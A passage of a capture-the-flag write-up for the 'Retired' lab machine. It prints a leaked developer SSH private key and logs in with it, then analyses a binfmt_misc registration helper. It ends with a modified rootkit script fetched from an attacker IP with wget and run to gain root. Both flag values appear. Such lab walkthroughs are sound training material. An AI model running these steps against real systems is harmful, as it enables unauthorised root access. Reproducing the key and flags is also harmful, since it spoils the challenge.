inflating: var/www/html/assets/img/team/1.jpg
inflating: var/www/html/assets/img/header-bg.jpg
inflating: var/www/html/beta.html
inflating: var/www/html/default.html
inflating: var/www/html/index.php
inflating: var/www/html/dev_id_rsa
creating: var/www/html/css/
extracting: var/www/html/css/styles.css
www-data@retired:/tmp$ cat var/www/html/dev_id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
7rTyG3wbNka1sAAAALZGV2QHJldGlyZWQ=
-----END OPENSSH PRIVATE KEY-----
Now we can connect as dev
and get the user.txt
flag:
$ chmod 600 id_rsa
$ ssh -i id_rsa dev@10.10.11.154
dev@retired:~$ cat user.txt
f78b01da6c3d56436a6005509fdff826
Privilege escalation
This user owns a directory called emuemu
(remember from the website):
dev@retired:~$ ls -la
total 40
drwx------ 6 dev dev 4096 Mar 11 14:36 .
drwxr-xr-x 3 root root 4096 Mar 11 14:36 ..
lrwxrwxrwx 1 root root 9 Oct 13 02:59 .bash_history -> /dev/null
-rw------- 1 dev dev 220 Aug 4 2021 .bash_logout
-rw------- 1 dev dev 3526 Aug 4 2021 .bashrc
drwxr-xr-x 3 dev dev 4096 Mar 11 14:36 .local
-rw------- 1 dev dev 807 Aug 4 2021 .profile
drwx------ 2 dev dev 4096 Mar 11 14:36 .ssh
drwx------ 2 dev dev 4096 Mar 11 14:36 activate_license
drwx------ 3 dev dev 4096 Mar 11 14:36 emuemu
-rw-r----- 1 root dev 33 Apr 3 21:28 user.txt
We have all this stuff:
dev@retired:~/emuemu$ ls -la
total 68
drwx------ 3 dev dev 4096 Mar 11 14:36 .
drwx------ 6 dev dev 4096 Mar 11 14:36 ..
-rw------- 1 dev dev 673 Oct 13 02:59 Makefile
-rw------- 1 dev dev 228 Oct 13 02:59 README.md
-rw------- 1 dev dev 16608 Oct 13 02:59 emuemu
-rw------- 1 dev dev 168 Oct 13 02:59 emuemu.c
-rw------- 1 dev dev 16864 Oct 13 02:59 reg_helper
-rw------- 1 dev dev 502 Oct 13 02:59 reg_helper.c
drwx------ 2 dev dev 4096 Mar 11 14:36 test
dev@retired:~/emuemu$ ls -la test
total 12
drwx------ 2 dev dev 4096 Mar 11 14:36 .
drwx------ 3 dev dev 4096 Mar 11 14:36 ..
-rwxr-xr-x 1 dev dev 70 Oct 13 02:59 examplerom
Let’s check the README.md
:
dev@retired:~/emuemu$ cat README.md
EMUEMU is the official software emulator for the handheld console OSTRICH.
After installation with `make install`, OSTRICH ROMs can be simply executed from the terminal.
For example the ROM named `rom` can be run with `./rom`.
It says that we can execute a ROM like a common executable file:
dev@retired:~/emuemu$ test/examplerom
EMUEMU is still under development.
Nice, we are able to execute a ROM, let’s check the C files:
dev@retired:~/emuemu$ cat emuemu.c
#include <stdio.h>
/* currently this is only a dummy implementation doing nothing */
int main(void) {
puts("EMUEMU is still under development.");
return 1;
}
Hey! This file generates the ROM we just executed. Let’s verify it:
dev@retired:~/emuemu$ file test/examplerom
test/examplerom: data
dev@retired:~/emuemu$ cat test/examplerom
7OSTRICHROM
this is a minimal rom with a valid file type signature
dev@retired:~/emuemu$ xxd test/examplerom
00000000: 1337 4f53 5452 4943 4800 524f 4d00 0a74 .7OSTRICH.ROM..t
00000010: 6869 7320 6973 2061 206d 696e 696d 616c his is a minimal
00000020: 2072 6f6d 2077 6974 6820 6120 7661 6c69 rom with a vali
00000030: 6420 6669 6c65 2074 7970 6520 7369 676e d file type sign
00000040: 6174 7572 650a ature.
ROM analysis
What’s happening here? test/examplerom
seems to be a normal file. At least, it is not an ELF. Let’s see if reg_helper.c
clarifies it:
dev@retired:~/emuemu$ cat reg_helper.c
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
int main(void) {
char cmd[512] = { 0 };
read(STDIN_FILENO, cmd, sizeof(cmd)); cmd[-1] = 0;
int fd = open("/proc/sys/fs/binfmt_misc/register", O_WRONLY);
if (-1 == fd)
perror("open");
if (write(fd, cmd, strnlen(cmd,sizeof(cmd))) == -1)
perror("write");
if (close(fd) == -1)
perror("close");
return 0;
}
This is somewhat interesting, we should do some research on /proc/sys/fs/binfmt_misc/register
. But let’s take a look at Makefile
before:
dev@retired:~/emuemu$ cat Makefile
CC := gcc
CFLAGS := -std=c99 -Wall -Werror -Wextra -Wpedantic -Wconversion -Wsign-conversion
SOURCES := $(wildcard *.c)
TARGETS := $(SOURCES:.c=)
.PHONY: install clean
install: $(TARGETS)
@echo "[+] Installing program files"
install --mode 0755 emuemu /usr/bin/
mkdir --parent --mode 0755 /usr/lib/emuemu /usr/lib/binfmt.d
install --mode 0750 --group dev reg_helper /usr/lib/emuemu/
setcap cap_dac_override=ep /usr/lib/emuemu/reg_helper
@echo "[+] Register OSTRICH ROMs for execution with EMUEMU"
echo ':EMUEMU:M::\x13\x37OSTRICH\x00ROM\x00::/usr/bin/emuemu:' \
| tee /usr/lib/binfmt.d/emuemu.conf \
| /usr/lib/emuemu/reg_helper
clean:
rm -f -- $(TARGETS)
Nice, we know there are binaries at /usr/bin/emuemu
and /usr/lib/emuemu/reg_helper
. They are the same as the ones we have seen before:
dev@retired:~/emuemu$ md5sum /usr/bin/emuemu emuemu /usr/lib/emuemu/reg_helper reg_helper
27641ed1f6105c6f70f5167610fa0b7e /usr/bin/emuemu
27641ed1f6105c6f70f5167610fa0b7e emuemu
1600a7013d283b9aaa6b7a07f8e45b2a /usr/lib/emuemu/reg_helper
1600a7013d283b9aaa6b7a07f8e45b2a reg_helper
And we cannot modify them. Notice that the Makefile
is setting a custom executable format (binfmt
). It is stored in /usr/lib/binfmt.d/emuemu.conf
:
dev@retired:~/emuemu$ cat /usr/lib/binfmt.d/emuemu.conf
:EMUEMU:M::\x13\x37OSTRICH\x00ROM\x00::/usr/bin/emuemu:
So every file that starts with \x13\x37OSTRICH\x00ROM\x00
will be executed with /usr/bin/emuemu
. Now everything is clear:
dev@retired:~/emuemu$ /usr/bin/emuemu
EMUEMU is still under development.
dev@retired:~/emuemu$ xxd test/examplerom
00000000: 1337 4f53 5452 4943 4800 524f 4d00 0a74 .7OSTRICH.ROM..t
00000010: 6869 7320 6973 2061 206d 696e 696d 616c his is a minimal
00000020: 2072 6f6d 2077 6974 6820 6120 7661 6c69 rom with a vali
00000030: 6420 6669 6c65 2074 7970 6520 7369 676e d file type sign
00000040: 6174 7572 650a ature.
dev@retired:~/emuemu$ test/examplerom
EMUEMU is still under development.
Because of reg_helper
, we are able to create our custom executable file formats. For instance:
dev@retired:~/emuemu$ echo ':test:M::rocky::/usr/bin/emuemu:' | /usr/lib/emuemu/reg_helper
dev@retired:~/emuemu$ echo -e 'rocky\nThis is a custom executable file' > /tmp/test
dev@retired:~/emuemu$ cat /tmp/test
rocky
This is a custom executable file
dev@retired:~/emuemu$ chmod +x /tmp/test
dev@retired:~/emuemu$ /tmp/test
EMUEMU is still under development.
binfmt_misc
exploitation
Alright, but what can we do with this feature? Well, there is an exploit for /proc/sys/fs/binfmt_misc/register
when we are able to write it, and we are because reg_helper
is modifying it (it has a capability CAP_DAC_OVERRIDE
set). The exploit can be found here.
We must download the script and modify some lines. First of all, I’ll get rid of the validation that /proc/sys/fs/binfmt_misc/register
is writable (we know it is). And then, we need to modify the way data is being written into the register. Hence, this line:
echo "$binfmt_line" > "$mountpoint"/register
Becomes this one:
echo "$binfmt_line" | /usr/lib/emuemu/reg_helper
Finally, we download the script into the machine and run it to become root
:
dev@retired:~/emuemu$ cd /tmp
dev@retired:/tmp$ wget -q 10.10.17.44/binfmt_rootkit
dev@retired:/tmp$ chmod +x binfmt_rootkit
dev@retired:/tmp$ ./binfmt_rootkit
uid=0(root) euid=0(root)
# cat /root/root.txt
d8544f2779e7f65f61a1fcbe7eee471a